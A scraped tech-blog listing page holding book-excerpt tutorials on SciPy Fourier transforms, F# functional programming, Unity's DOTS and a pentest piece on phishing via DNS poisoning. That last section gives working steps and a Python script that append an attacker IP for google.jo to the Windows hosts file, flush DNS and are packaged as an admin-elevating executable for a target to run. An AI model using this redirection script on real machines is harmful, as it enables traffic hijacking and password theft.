Logstash, you can disable the monitoring by setting the xpack.monitoring.enabled property to false in the logstash.yml configuration file.   With this, we successfully explored how to install and configure the X-Pack components in order to bundle different capabilities of X-pack into one package of Elasticsearch and Kibana. If you found this tutorial useful, do check out the book Learning Elastic Stack 6.0 to examine the fundamentals of Elastic Stack in detail and start developing solutions for problems like logging, site search, app search, metrics and more.    
Read more
  • 0
  • 0
  • 40114

article-image-compute-discrete-fourier-transform-dft-using-scipy
Pravin Dhandre
02 Mar 2018
5 min read
Save for later

How to compute Discrete Fourier Transform (DFT) using SciPy

Pravin Dhandre
02 Mar 2018
5 min read
[box type="note" align="" class="" width=""]This article is an excerpt from a book co-authored by L. Felipe Martins, Ruben Oliva Ramos and V Kishore Ayyadevara titled SciPy Recipes. This book provides numerous recipes to tackle day-to-day challenges associated with scientific computing and data manipulation using SciPy stack.[/box] Today, we will compute Discrete Fourier Transform (DFT) and inverse DFT using SciPy stack. In this article, we will focus majorly on the syntax and the application of DFT in SciPy assuming you are well versed with the mathematics of this concept. Discrete Fourier Transforms   A discrete Fourier transform transforms any signal from its time/space domain into a related signal in frequency domain. This allows us to not only analyze the different frequencies of the data, but also enables faster filtering operations, when used properly. It is possible to turn a signal in a frequency domain back to its time/spatial domain, thanks to inverse Fourier transform (IFT). How to do it… To follow with the example, we need to continue with the following steps: The basic routines in the scipy.fftpack module compute the DFT and its inverse, for discrete signals in any dimension—fft, ifft (one dimension), fft2, ifft2 (two dimensions), and fftn, ifftn (any number of dimensions). Verify all these routines assume that the data is complex valued. If we know beforehand that a particular dataset is actually real-valued, and should offer realvalued frequencies, we use rfft and irfft instead, for a faster algorithm. In order to complete with this, these routines are designed so that composition with their inverses always yields the identity. The syntax is the same in all cases, as follows: fft(x[, n, axis, overwrite_x]) The first parameter, x, is always the signal in any array-like form. Note that fft performs one-dimensional transforms. This means that if x happens to be two-dimensional, for example, fft will output another two-dimensional array, where each row is the transform of each row of the original. We can use columns instead, with the optional axis parameter. The rest of the parameters are also optional; n indicates the length of the transform and overwrite_x gets rid of the original data to save memory and resources. We usually play with the n integer when we need to pad the signal with zeros or truncate it. For a higher dimension, n is substituted by shape (a tuple) and axis by axes (another tuple). To better understand the output, it is often useful to shift the zero frequencies to the center of the output arrays with ifftshift. The inverse of this operation, ifftshift, is also included in the module. How it works… The following code shows some of these routines in action when applied to a checkerboard: import numpy from scipy.fftpack import fft,fft2, fftshift import matplotlib.pyplot as plt B=numpy.ones((4,4)); W=numpy.zeros((4,4)) signal = numpy.bmat("B,W;W,B") onedimfft = fft(signal,n=16) twodimfft = fft2(signal,shape=(16,16)) plt.figure() plt.gray() plt.subplot(121,aspect='equal') plt.pcolormesh(onedimfft.real) plt.colorbar(orientation='horizontal') plt.subplot(122,aspect='equal') plt.pcolormesh(fftshift(twodimfft.real)) plt.colorbar(orientation='horizontal') plt.show() Note how the first four rows of the one-dimensional transform are equal (and so are the last four), while the two-dimensional transform (once shifted) presents a peak at the origin and nice symmetries in the frequency domain. In the following screenshot, which has been obtained from the previous code, the image on the left is the fft and the one on the right is the fft2 of a 2 x 2 checkerboard signal: Computing the discrete Fourier transform (DFT) of a data series using the FFT Algorithm In this section, we will see how to compute the discrete Fourier transform and some of its Applications. How to do it… In the following table, we will see the parameters to create a data series using the FFT algorithm: How it works… This code represents computing an FFT discrete Fourier in the main part: np.fft.fft(np.exp(2j * np.pi * np.arange(8) / 8)) array([ -3.44505240e-16 +1.14383329e-17j, 8.00000000e+00 -5.71092652e-15j, 2.33482938e-16 +1.22460635e-16j, 1.64863782e-15 +1.77635684e-15j, 9.95839695e-17 +2.33482938e-16j, 0.00000000e+00 +1.66837030e-15j, 1.14383329e-17 +1.22460635e-16j, -1.64863782e-15 +1.77635684e-15j]) In this example, real input has an FFT that is Hermitian, that is, symmetric in the real part and anti-symmetric in the imaginary part, as described in the numpy.fft documentation. import matplotlib.pyplot as plt t = np.arange(256) sp = np.fft.fft(np.sin(t)) freq = np.fft.fftfreq(t.shape[-1]) plt.plot(freq, sp.real, freq, sp.imag) [<matplotlib.lines.Line2D object at 0x...>, <matplotlib.lines.Line2D object at 0x...>] plt.show() The following screenshot shows how we represent the results: Computing the inverse DFT of a data series In this section, we will learn how to compute the inverse DFT of a data series. How to do it… In this section we will see how to compute the inverse Fourier transform. The returned complex array contains y(0), y(1),..., y(n-1) where: How it works… In this part, we represent the calculous of the DFT: np.fft.ifft([0, 4, 0, 0]) array([ 1.+0.j, 0.+1.j, -1.+0.j, 0.-1.j]) Create and plot a band-limited signal with random phases: import matplotlib.pyplot as plt t = np.arange(400) n = np.zeros((400,), dtype=complex) n[40:60] = np.exp(1j*np.random.uniform(0, 2*np.pi, (20,))) s = np.fft.ifft(n) plt.plot(t, s.real, 'b-', t, s.imag, 'r--') plt.legend(('real', 'imaginary')) plt.show() Then we represent it, as shown in the following screenshot:   We successfully explored how to transform signals from time or space domain into frequency domain and vice-versa, allowing you to analyze frequencies in detail. If you found this tutorial useful, do check out the book SciPy Recipes to get hands-on recipes to perform various data science tasks with ease.    
Read more
  • 0
  • 1
  • 40087
Unlock access to the largest independent learning library in Tech for FREE!
Get unlimited access to 7500+ expert-authored eBooks and video courses covering every tech area you can think of.
Renews at €18.99/month. Cancel anytime
article-image-functional-programs-with-f
Kunal Chaudhari
08 May 2018
23 min read
Save for later

Building functional programs with F#

Kunal Chaudhari
08 May 2018
23 min read
Functional programming treats programs as mathematical expressions and evaluates expressions. It focuses on functions and constants, which don't change, unlike variables and states. Functional programming solves complex problems with simple code; it is a very efficient programming technique for writing bug-free applications; for example, the null exception can be avoided using this technique. In today's tutorial, we will learn how to build functional programs with F# that leverage .NET Core. Here are some rules to understand functional programming better: In functional programming, a function's output never gets affected by outside code changes and the function always gives the same result for the same parameters. This gives us confidence in the function's behavior that it will give the expected result in all the scenarios, and this is helpful for multithread or parallel programming. In functional programming, variables are immutable, which means we cannot modify a variable once it is initialized, so it is easy to determine the value of a variable at any given point at program runtime. Functional programming works on referential transparency, which means it doesn't use assignment statements in a function. For example, if a function is assigning a new value to a variable such as shown here: Public int sum(x) { x = x + 20 ; return x; } This is changing the value of x, but if we write it as shown here: Public int sum(x) { return x + 20 ; } This is not changing the variable value and the function returns the same result. Functional programming uses recursion for looping. A recursive function calls itself and runs till the condition is satisfied. Functional programming features Let's discuss some functional programming features: Higher-order functions Purity Recursion Currying Closure Function composition Higher-order functions (HOF) One function can take an input argument as another function and it can return a function. This originated from calculus and is widely used in functional programming. An order can be determined by domain and range of order such as order 0 has no function data and order 1 has a domain and range of order 0, if the order is higher than 1, it is called a higher-order function. For example, the ComplexCalc function takes another function as input and returns a different function as output: open System let sum y = x+x let divide y = x/x Let ComplexCalc func = (func 2) Printfn(ComplexCalc sum) // 4 Printfn(ComplexCalc divide) //1 In the previous example, we created two functions, sum and divide. We pass these two functions as parameters to the ComplexCalc function, and it returns a value of 4 and 1, respectively. Purity In functional programming, a function is referred to as a pure function if all its input arguments are known and all its output results are also well known and declared; or we can say the input and output result has no side-effects. Now, you must be curious to know what the side-effect could be, let's discuss it. Let's look at the following example: Public int sum(int x) { return x+x; } In the previous example, the function sum takes an integer input and returns an integer value and predefined result. This kind of function is referred to as a pure function. Let's investigate the following example: Public void verifyData() { Employee emp = OrgQueue.getEmp(); If(emp != null) { ProcessForm(emp); } } In the preceding example, the verifyData() function does not take any input parameter and does not return anything, but this function is internally calling the getEmp() function so verifyData() depends on the getEmp() function. If the output of getEmp() is not null, it calls another function, called ProcessForm() and we pass the getEmp() function output as input for ProcessForm(emp). In this example, both the functions, getEmp() and ProcessForm(), are unknown at the verifyData() function level call, also emp is a hidden value. This kind of program, which has hidden input and output, is treated as a side-effect of the program. We cannot understand what it does in such functions. This is different from encapsulation; encapsulation hides the complexity but in such function, the functionality is not clear and input and output are unreliable. These kinds of function are referred to as impure functions. Let's look at the main concepts of pure functions: Immutable data: Functional programming works on immutable data, it removes the side-effect of variable state change and gives a guarantee of an expected result. Referential transparency: Large modules can be replaced by small code blocks and reuse any existing modules. For example, if a = b*c and d = b*c*e then the value of d can be written as d = a*e. Lazy evaluation: Referential transparency and immutable data give us the flexibility to calculate the function at any given point of time and we will get the same result because a variable will not change its state at any time. Recursion In functional programming, looping is performed by recursive functions. In F#, to make a function recursive, we need to use the rec keyword. By default, functions are not recursive in F#, we have to rectify this explicitly using the rec keyword. Let's take an example: let rec summation x = if x = 0 then 0 else x + summation(x-1) printfn "The summation of first 10 integers is- %A" (summation 10) In this code, we used the keyword rec for the recursion function and if the value passed is 0, the sum would be 0; otherwise it will add x + summation(x-1), like 1+0 then 2+1 and so on. We should take care with recursion because it can consume memory heavily. Currying This converts a function with multiple input parameter to a function which takes one parameter at a time, or we can say it breaks the function into multiple functions, each taking one parameter at a time. Here is an example: int sum = (a,b) => a+b int sumcurry = (a) =>(b) => a+b sumcurry(5)(6) // 11 int sum8 = sumcurry(8) // b=> 8+b sum8(5) // 13 Closure Closure is a feature which allows us to access a variable which is not within the scope of the current module. It is a way of implementing lexically scoped named binding, for example: int add = x=> y=> x+y int addTen = add(10) addTen(5) // this will return 15 In this example, the add() function is internally called by the addTen() function. In an ideal world, the variables x and y should not be accessible when the add() function finishes its execution, but when we are calling the function addTen(), it returns 15. So, the state of the function add() is saved even though code execution is finished, otherwise, there is no way of knowing the add(10) value, where x = 10. We are able to find the value of x because of lexical scoping and this is called closure. Function composition As we discussed earlier in HOF, function composition means getting two functions together to create a third new function where the output of a function is the input of another function. There are n number of functional programming features. Functional programming is a technique to solve problems and write code in an efficient way. It is not language-specific, but many languages support functional programming. We can also use non-functional languages (such as C#) to write programs in a functional way. F# is a Microsoft programming language for concise and declarative syntax. Getting started with F# In this section, we will discuss F# in more detail. Classes Classes are types of object which can contain functions, properties, and events. An F# class must have a parameter and a function attached to a member. Both properties and functions can use the member keyword. The following is the class definition syntax: type [access-modifier] type-name [type-params] [access-modifier] (parameter-list) [ as identifier ] = [ class ] [ inherit base-type-name(base-constructor-args) ] [ let-bindings ] [ do-bindings ] member-list [ end ] // Mutually recursive class definitions: type [access-modifier] type-name1 ... and [access-modifier] type-name2 ... Let’s discuss the preceding syntax for class declaration: type: In the F# language, class definition starts with a type keyword. access-modifier: The F# language supports three access modifiers—public, private, and internal. By default, it considers the public modifier if no other access modifier is provided. The Protected keyword is not used in the F# language, and the reason is that it will become object-oriented rather than functional programming. For example, F# usually calls a member using a lambda expression and if we make a member type protected and call an object of a different instance, it will not work. type-name: It is any of the previously mentioned valid identifiers; the default access modifier is public. type-params: It defines optional generic type parameters. parameter-list: It defines constructor parameters; the default access modifier for the primary constructor is public. identifier: It is used with the optional as keyword, the as keyword gives a name to an instance variable which can be used in the type definition to refer to the instance of the type. Inherit: This keyword allows us to specify the base class for a class. let-bindings: This is used to declare fields or function values in the context of a class. do-bindings: This is useful for the execution of code to create an object member-list: The member-list comprises extra constructors, instance and static method declarations, abstract bindings, interface declarations, and event and property declarations. Here is an example of a class: type StudentName(firstName,lastName) = member this.FirstName = firstName member this.LastName = lastName In the previous example, we have not defined the parameter type. By default, the program considers it as a string value but we can explicitly define a data type, as follows: type StudentName(firstName:string,lastName:string) = member this.FirstName = firstName member this.LastName = lastName Constructor of a class In F#, the constructor works in a different way to any other .NET language. The constructor creates an instance of a class. A parameter list defines the arguments of the primary constructor and class. The constructor contains let and do bindings, which we will discuss next. We can add multiple constructors, apart from the primary constructor, using the new keyword and it must invoke the primary constructor, which is defined with the class declaration. The syntax of defining a new constructor is as shown: new (argument-list) = constructor-body Here is an example to explain the concept. In the following code, the StudentDetail class has two constructors: a primary constructor that takes two arguments and another constructor that takes no arguments: type StudentDetail(x: int, y: int) = do printfn "%d %d" x y new() = StudentDetail(0, 0) A let and do binding A let and do binding creates the primary constructor of a class and runs when an instance of a class is created. A function is compiled into a member if it has a let binding. If the let binding is a value which is not used in any function or member, then it is compiled into a local variable of a constructor; otherwise, it is compiled into a field of the class. The do expression executes the initialized code. As any extra constructors always call the primary constructor, let and do bindings always execute, irrespective of which constructor is called. Fields that are created by let bindings can be accessed through the methods and properties of the class, though they cannot be accessed from static methods, even if the static methods take an instance variable as a parameter: type Student(name) as self = let data = name do self.PrintMessage() member this.PrintMessage() = printf " Student name is %s" data Generic type parameters F# also supports a generic parameter type. We can specify multiple generic type parameters separated by a comma. The syntax of a generic parameter declaration is as follows: type MyGenericClassExample<'a> (x: 'a) = do printfn "%A" x The type of the parameter infers where it is used. In the following code, we call the MyGenericClassExample method and pass a sequence of tuples, so here the parameter type became a sequence of tuples: let g1 = MyGenericClassExample( seq { for i in 1 .. 10 -> (i, i*i) } ) Properties Values related to an object are represented by properties. In object-oriented programming, properties represent data associated with an instance of an object. The following snippet shows two types of property syntax: // Property that has both get and set defined. [ attributes ] [ static ] member [accessibility-modifier] [self- identifier.]PropertyName with [accessibility-modifier] get() = get-function-body and [accessibility-modifier] set parameter = set-function-body // Alternative syntax for a property that has get and set. [ attributes-for-get ] [ static ] member [accessibility-modifier-for-get] [self-identifier.]PropertyName = get-function-body [ attributes-for-set ] [ static ] member [accessibility-modifier-for-set] [self- identifier.]PropertyName with set parameter = set-function-body There are two kinds of property declaration: Explicitly specify the value: We should use the explicit way to implement the property if it has non-trivial implementation. We should use a member keyword for the explicit property declaration. Automatically generate the value: We should use this when the property is just a simple wrapper for a value. There are many ways of implementing an explicit property syntax based on need: Read-only: Only the get() method Write-only: Only the set() method Read/write: Both get() and set() methods An example is shown as follows: // A read-only property. member this.MyReadOnlyProperty = myInternalValue // A write-only property. member this.MyWriteOnlyProperty with set (value) = myInternalValue <- value // A read-write property. member this.MyReadWriteProperty with get () = myInternalValue and set (value) = myInternalValue <- value Backing stores are private values that contain data for properties. The keyword, member val instructs the compiler to create backing stores automatically and then gives an expression to initialize the property. The F# language supports immutable types, but if we want to make a property mutable, we should use get and set. As shown in the following example, the MyClassExample class has two properties: propExample1 is read-only and is initialized to the argument provided to the primary constructor, and propExample2 is a settable property initialized with a string value ".Net Core 2.0": type MyClassExample(propExample1 : int) = member val propExample1 = property1 member val propExample2 = ".Net Core 2.0" with get, set Automatically implemented properties don't work efficiently with some libraries, for example, Entity Framework. In these cases, we should use explicit properties. Static and instance properties We can further categorize properties as static or instance properties. Static, as the name suggests, can be invoked without any instance. The self-identifier is neglected by the static property while it is necessary for the instance property. The following is an example of the static property: static member MyStaticProperty with get() = myStaticValue and set(value) = myStaticValue <- value Abstract properties Abstract properties have no implementation and are fully abstract. They can be virtual. It should not be private and if one accessor is abstract all others must be abstract. The following is an example of the abstract property and how to use it: // Abstract property in abstract class. // The property is an int type that has a get and // set method [<AbstractClass>] type AbstractBase() = abstract Property1 : int with get, set // Implementation of the abstract property type Derived1() = inherit AbstractBase() let mutable value = 10 override this.Property1 with get() = value and set(v : int) = value <- v // A type with a "virtual" property. type Base1() = let mutable value = 10 abstract Property1 : int with get, set default this.Property1 with get() = value and set(v : int) = value <- v // A derived type that overrides the virtual property type Derived2() = inherit Base1() let mutable value2 = 11 override this.Property1 with get() = value2 and set(v) = value2 <- v Inheritance and casts In F#, the inherit keyword is used while declaring a class. The following is the syntax: type MyDerived(...) = inherit MyBase(...) In a derived class, we can access all methods and members of the base class, but it should not be a private member. To refer to base class instances in the F# language, the base keyword is used. Virtual methods and overrides  In F#, the abstract keyword is used to declare a virtual member. So, here we can write a complete definition of the member as we use abstract for virtual. F# is not similar to other .NET languages. Let's have a look at the following example: type MyClassExampleBase() = let mutable x = 0 abstract member virtualMethodExample : int -> int default u. virtualMethodExample (a : int) = x <- x + a; x type MyClassExampleDerived() = inherit MyClassExampleBase () override u. virtualMethodExample (a: int) = a + 1 In the previous example, we declared a virtual method, virtualMethodExample, in a base class, MyClassExampleBase, and overrode it in a derived class, MyClassExampleDerived. Constructors and inheritance An inherited class constructor must be called in a derived class. If a base class constructor contains some arguments, then it takes parameters of the derived class as input. In the following example, we will see how derived class arguments are passed in the base class constructor with inheritance: type MyClassBase2(x: int) = let mutable z = x * x do for i in 1..z do printf "%d " i type MyClassDerived2(y: int) = inherit MyClassBase2(y * 2) do for i in 1..y do printf "%d " i If a class has multiple constructors, such as new(str) or new(), and this class is inherited in a derived class, we can use a base class constructor to assign values. For example, DerivedClass, which inherits BaseClass, has new(str1,str2), and in place of the first string, we pass inherit BaseClass(str1). Similarly, for blank, we wrote inherit BaseClass(). Let's explore the following example in more detail: type BaseClass = val string1 : string new (str) = { string1 = str } new () = { string1 = "" } type DerivedClass = inherit BaseClass val string2 : string new (str1, str2) = { inherit BaseClass(str1); string2 = str2 } new (str2) = { inherit BaseClass(); string2 = str2 } let obj1 = DerivedClass("A", "B") let obj2 = DerivedClass("A") Functions and lambda expressions A lambda expression is one kind of anonymous function, which means it doesn't have a name attached to it. But if we want to create a function which can be called, we can use the fun keyword with a lambda expression. We can pass the kind parameter in the lambda function, which is created using the fun keyword. This function is quite similar to a normal F# function. Let's see a normal F# function and a lambda function: // Normal F# function let addNumbers a b = a+b // Evaluating values let sumResult = addNumbers 5 6 // Lambda function and evaluating values let sumResult = (fun (a:int) (b:int) -> a+b) 5 6 // Both the function will return value sumResult = 11 Handling data – tuples, lists, record types, and data manipulation F# supports many kind data types, for example: Primitive types: bool, int, float, string values. Aggregate type: class, struct, union, record, and enum Array: int[], int[ , ], and float[ , , ] Tuple: type1 * type2 * like (a,1,2,true) type is—char * int * int * bool Generic: list<’x>, dictionary < ’key, ’value> In an F# function, we can pass one tuple instead parameters of multiple parameters of different types. Declaration of a tuple is very simple and we can assign values of a tuple to different variables, for example: let tuple1 = 1,2,3 // assigning values to variables , v1=1, v2= 2, v3=3 let v1,v2,v3 = tuple1 // if we want to assign only two values out of three, use “_” to skip the value. Assigned values: v1=1, //v3=3 let v1,_,v3 = tuple In the preceding examples, we saw that tuple supports pattern matching. These are option types and an option type in F# supports the idea that the value may or not be present at runtime. List List is a generic type implementation. An F# list is similar to a linked list implementation in any other functional language. It has a special opening and closing bracket construct, a short form of the standard empty list ([ ]) syntax: let empty = [] // This is an empty list of untyped type or we can say //generic type. Here type is: 'a list let intList = [10;20;30;40] // this is an integer type list The cons operator is used to prepend an item to a list using a double colon cons(prepend,::). To append another list to one list, we use the append operator—@: // prepend item x into a list let addItem xs x = x :: xs let newIntList = addItem intList 50 // add item 50 in above list //“intlist”, final result would be- [50;10;20;30;40] // using @ to append two list printfn "%A" (["hi"; "team"] @ ["how";"are";"you"]) // result – ["hi"; "team"; "how";"are";"you"] Lists are decomposable using pattern matching into a head and a tail part, where the head is the first item in the list and the tail part is the remaining list, for example: printfn "%A" newIntList.Head printfn "%A" newIntList.Tail printfn "%A" newIntList.Tail.Tail.Head let rec listLength (l: 'a list) = if l.IsEmpty then 0 else 1 + (listLength l.Tail) printfn "%d" (listLength newIntList) Record type The class, struct, union, record, and enum types come under aggregate types. The record type is one of them, it can have n number of members of any individual type. Record type members are by default immutable but we can make them mutable. In general, a record type uses the members as an immutable data type. There is no way to execute logic during instantiation as a record type don't have constructors. A record type also supports match expression, depending on the values inside those records, and they can also again decompose those values for individual handling, for example: type Box = {width: float ; height:int } let giftbox = {width = 6.2 ; height = 3 } In the previous example, we declared a Box with float a value width and an integer height. When we declare giftbox, the compiler automatically detects its type as Box by matching the value types. We can also specify type like this: let giftbox = {Box.width = 6.2 ; Box.height = 3 } or let giftbox : Box = {width = 6.2 ; height = 3 } This kind of type declaration is used when we have the same type of fields or field type declared in more than one type. This declaration is called a record expression. Object-oriented programming in F# F# also supports implementation inheritance, the creation of object, and interface instances. In F#, constructed types are fully compatible .NET classes which support one or more constructors. We can implement a do block with code logic, which can run at the time of class instance creation. The constructed type supports inheritance for class hierarchy creation. We use the inherit keyword to inherit a class. If the member doesn't have implementation, we can use the abstract keyword for declaration. We need to use the abstractClass attribute on the class to inform the compiler that it is abstract. If the abstractClass attribute is not used and type has all abstract members, the F# compiler automatically creates an interface type. Interface is automatically inferred by the compiler as shown in the following screenshot: The override keyword is used to override the base class implementation; to use the base class implementation of the same member, we use the base keyword. In F#, interfaces can be inherited from another interface. In a class, if we use the construct interface, we have to implement all the members in the interface in that class, as well. In general, it is not possible to use interface members from outside the class instance, unless we upcast the instance type to the required interface type. To create an instance of a class or interface, the object expression syntax is used. We need to override virtual members if we are creating a class instance and need member implementation for interface instantiation: type IExampleInterface = abstract member IntValue: int with get abstract member HelloString: unit -> string type PrintValues() = interface IExampleInterface with member x.IntValue = 15 member x.HelloString() = sprintf "Hello friends %d" (x :> IExampleInterface).IntValue let example = let varValue = PrintValues() :> IExampleInterface { new IExampleInterface with member x.IntValue = varValue.IntValue member x.HelloString() = sprintf "<b>%s</b>" (varValue.HelloString()) } printfn "%A" (example.HelloString()) Exception handling The exception keyword is used to create a custom exception in F#; these exceptions adhere to Microsoft best practices, such as constructors supplied, serialization support, and so on. The keyword raise is used to throw an exception. Apart from this, F# has some helper functions, such as failwith, which throws a failure exception at F# runtime, and invalidop, invalidarg, which throw the .NET Framework standard type invalid operation and invalid argument exception, respectively. try/with is used to catch an exception; if an exception occurred on an expression or while evaluating a value, then the try/with expression could be used on the right side of the value evaluation and to assign the value back to some other value. try/with also supports pattern matching to check an individual exception type and extract an item from it. try/finally expression handling depends on the actual code block. Let's take an example of declaring and using a custom exception: exception MyCustomExceptionExample of int * string raise (MyCustomExceptionExample(10, "Error!")) In the previous example, we created a custom exception called MyCustomExceptionExample, using the exception keyword, passing value fields which we want to pass. Then we used the raise keyword to raise exception passing values, which we want to display while running the application or throwing the exception. However, as shown here, while running this code, we don't get our custom message in the error value and the standard exception message is displayed: We can see in the previous screenshot that the exception message doesn't contain the message that we passed. In order to display our custom error message, we need to override the standard message property on the exception type. We will use pattern matching assignment to get two values and up-cast the actual type, due to the internal representation of the exception object. If we run this program again, we will get the custom message in the exception: exception MyCustomExceptionExample of int * string with override x.Message = let (MyCustomExceptionExample(i, s)) = upcast x sprintf "Int: %d Str: %s" i s raise (MyCustomExceptionExample(20, "MyCustomErrorMessage!")) Now, we will get the following error message: In the previous screenshot, we can see our custom message with integer and string values included in the output. We can also use the helper function, failwith, to raise a failure exception, as it includes our message as an error message, as follows: failwith "An error has occurred" The preceding error message can be seen in the following screenshot: Here is a detailed exception screenshot: An example of the invalidarg helper function follows. In this factorial function, we are checking that the value of x is greater than zero. For cases where x is less than 0, we call invalidarg, pass x as the parameter name that is invalid, and then some error message saying the value should be greater than 0. The invalidarg helper function throws an invalid argument exception from the standard system namespace in .NET: let rec factorial x = if x < 0 then invalidArg "x" "Value should be greater than zero" match x with | 0 -> 1 | _ -> x * (factorial (x - 1)) To summarize, we discussed functional programming and its features, such as higher-order functions, purity, lazy evaluation and how to write functions and lambda expressions in F#, exception handling, and so on. You enjoyed an excerpt from a book written by Rishabh Verma and Neha Shrivastava, titled  .NET Core 2.0 By Example. This book will give a detailed walkthrough on functional programming with F# and .NET Core from scratch. What is functional reactive programming? Functional Programming in C#  
Read more
  • 0
  • 0
  • 39815

article-image-phish-for-passwords-using-dns-poisoning
Savia Lobo
14 Jun 2018
6 min read
Save for later

Phish for passwords using DNS poisoning [Tutorial]

Savia Lobo
14 Jun 2018
6 min read
Phishing refers to obtaining sensitive information such as passwords, usernames, or even bank details, and so on. Hackers or attackers lure customers to share their personal details by sending them e-mails which appear to come form popular organizatons.  In this tutorial, you will learn how to implement password phishing using DNS poisoning, a form of computer security hacking. In DNS poisoning, a corrupt Domain Name system data is injected into the DNS resolver's cache. This causes the name server to provide an incorrect result record. Such a method can result into traffic being directed onto hacker's computer system. This article is an excerpt taken from 'Python For Offensive PenTest written by Hussam Khrais.  Password phishing – DNS poisoning One of the easiest ways to manipulate the direction of the traffic remotely is to play with DNS records. Each operating system contains a host file in order to statically map hostnames to specific IP addresses. The host file is a plain text file, which can be easily rewritten as long as we have admin privileges. For now, let's have a quick look at the host file in the Windows operating system. In Windows, the file will be located under C:WindowsSystem32driversetc. Let's have a look at the contents of the host file: If you read the description, you will see that each entry should be located on a separate line. Also, there is a sample of the record format, where the IP should be placed first. Then, after at least one space, the name follows. You will also see that each record's IP address begins first and then we get the hostname. Now, let's see the traffic on the packet level: Open Wireshark on our target machine and start the capture. Filter on the attacker IP address: We have an IP address of 10.10.10.100, which is the IP address of our attacker. We can see the traffic before poisoning the DNS records. You need to click on Apply to complete the process. Open https://www.google.jo/?gws_rd=ssl. Notice that once we ping the name from the command line, the operating system behind the scene will do a DNS lookup: We will get the real IP address. Now, notice what happens after DNS poisoning. For this, close all the windows except the one where the Wireshark application is running. Keep in mind that we should run as admin to be able to modify the host file. Now, even though we are running as an admin, when it comes to running an application you should explicitly do a right-click and then run as admin. Navigate to the directory where the hosts file is located. Execute dir and you will get the hosts file. Run type hosts. You can see the original host here. Now, we will enter the command: echo 10.10.10.100 www.google.jo >> hosts 10.10.100, is the IP address of our Kali machine. So, once the target goes to google.jo, it should be redirected to the attacker machine. Once again verify the host by executing type hosts. Now, after doing a DNS modification, it's always a good thing to flush the DNS cache, just to make sure that we will use the updated record. For this, enter the following command: ipconfig /flushdns Now, watch what happens after DNS poisoning. For this, we will open our browser and navigate to https://www.google.jo/?gws_rd=ssl. Notice that on Wireshark the traffic is going to the Kali IP address instead of the real IP address of google.jo. This is because the DNS resolution for google.jo was 10.10.10.100. We will stop the capturing and recover the original hosts file. We will then place that file in the driversetc folder. Now, let's flush the poisoned DNS cache first by running: ipconfig /flushdns Then, open the browser again. We should go to https://www.google.jo/?gws_rd=ssl right now. Now we are good to go! Using Python script Now we'll automate the steps, but this time via a Python script. Open the script and enter the following code: # Python For Offensive PenTest # DNS_Poisoning import subprocess import os os.chdir("C:WindowsSystem32driversetc") # change the script directory to ..etc where the host file is located on windows command = "echo 10.10.10.100 www.google.jo >> hosts" # Append this line to the host file, where it should redirect # traffic going to google.jo to IP of 10.10.10.100 CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) command = "ipconfig /flushdns" # flush the cached dns, to make sure that new sessions will take the new DNS record CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) The first thing we will do is change our current working directory to be the same as the hosts file, and that will be done using the OS library. Then, using subprocesses, we will append a static DNS record, pointing Facebook to 10.10.10.100: the Kali IP address. In the last step, we will flush the DNS record. We can now save the file and export the script into EXE. Remember that we need to make the target execute it as admin. To do that, in the setup file for the py2exe, we will add a new line, as follows: ... windows = [{'script': "DNS.py", 'uac_info': "requireAdministrator"}], ... So, we have added a new option, specifying that when the target executes the EXE file, we will ask to elevate our privilege into admin. To do this, we will require administrator privileges. Let's run the setup file and start a new capture. Now, I will copy our EXE file onto the desktop. Notice here that we got a little shield indicating that this file needs an admin privilege, which will give us the exact result for running as admin. Now, let's run the file. Verify that the file host gets modified. You will see that our line has been added. Now, open a new session and we will see whether we got the redirection. So, let's start a new capture, and we will add on the Firefox. As you will see, the DNS lookup for google.jo is pointing to our IP address, which is 10.10.10.100. We learned how to carry out password phishing using DNS poisoning. If you've enjoyed reading the post, do check out, Python For Offensive PenTest to learn how to hack passwords and perform a privilege escalation on Windows with practical examples. 12 common malware types you should know Getting started with Digital forensics using Autopsy 5 pen testing rules of engagement: What to consider while performing Penetration testing
Read more
  • 0
  • 0
  • 39769

article-image-what-is-unitys-new-data-oriented-technology-stack-dots
Guest Contributor
04 Dec 2019
7 min read
Save for later

What is Unity’s new Data-Oriented Technology Stack (DOTS)

Guest Contributor
04 Dec 2019
7 min read
If we look at the evolution of computing and gaming over the last decade, we can see how different things are with respect to ten years ago. However, one of the most significant change was moving from a world where 90% of the code ran on a single thread on a single core, to a world where we all carry in our pockets hundreds of GPU cores, and we must design efficient code that can run in parallel. If we look at this change, we can imagine why Unity feels the urge to adapt to this new paradigm. Unity’s original design born in a different era, and now it is time for it to adjust to the future. The Data-Oriented Technology Stack (DOTS) is the collective name for Unity's attempt at reshaping its internal architecture in a way that is faster, lighter, and, more important, optimized for the current massive multi-threading world. In this article, we will take a look at the main three components of DOTS and how it can help you develop next-generation games. Want to learn more optimization techniques in Unity? Unity engine comes with a great set of features to help you build high-performance games. If you want to know the techniques for writing better game scripts and learn how to optimize a game using Unity technologies such as ECS and the Burst compiler, read the book Unity Game Optimization - Third Edition written by Chris Dickinson and Dr. Davide Aversa. This book will help you get up to speed with a series of performance-enhancing coding techniques and methods that will help you improve the performance of your Unity applications. The Data-Oriented Technology Stack Three components compose the Data-Oriented Technology Stack: The Entity Component System (ECS) The C# Job System The Burst compiler Let's see each one of them. The Entity Component System (ECS) If you know Unity, you know that two basic structures represent every part of a game: the GameObject and the MonoBehavior. Every GameObject contains one or more MonoBehavior, which in turn describes the data (what the object knows) and the behavior (what the object does) of each element in a scene. GameObject and MonoBehavior worked well during Unity’s initial years; however, with the rise of multithreaded programming, many issues with the GameObject architecture started to become more evident. First of all, a GameObject is a fat, heavy, data structure. In theory, it should only be a container of MonoBehavior instances. In practice, instead, it has a significant number of problems. To name a few:  Every GameObject has a name and an ID.  Every GameObject has a C# wrapping object pointing to the native C++ code Creating and deleting a GameObject requires to lock and edit a global list (that is, these operations cannot run in parallel). Moreover, both GameObject and MonoBehavior are dynamic objects, and they are stored everywhere in memory. It would be much better if we could keep all the MonoBehavior of a GameObject close to each other so that finding and running them would be more efficient. To solve all these issues, Unity introduced the Entity Component System (ECS), a new paradigm alternative to the traditional GameObject/MonoBehavior one. As the name suggests, there are three elements in ECS: Components: They are conceptually similar to a MonoBehavior, but they contain only data. For instance, a Position component will contain only a 3D vector representing the entity position in space; a LinearVelocity component would contain only the velocity of the object, and so on. They are just plain data. Entities: They are just a “collection” of components. For example, if I have a particle in space, I can represent it just with the list of components, e.g., Position and LinearVelocity components. 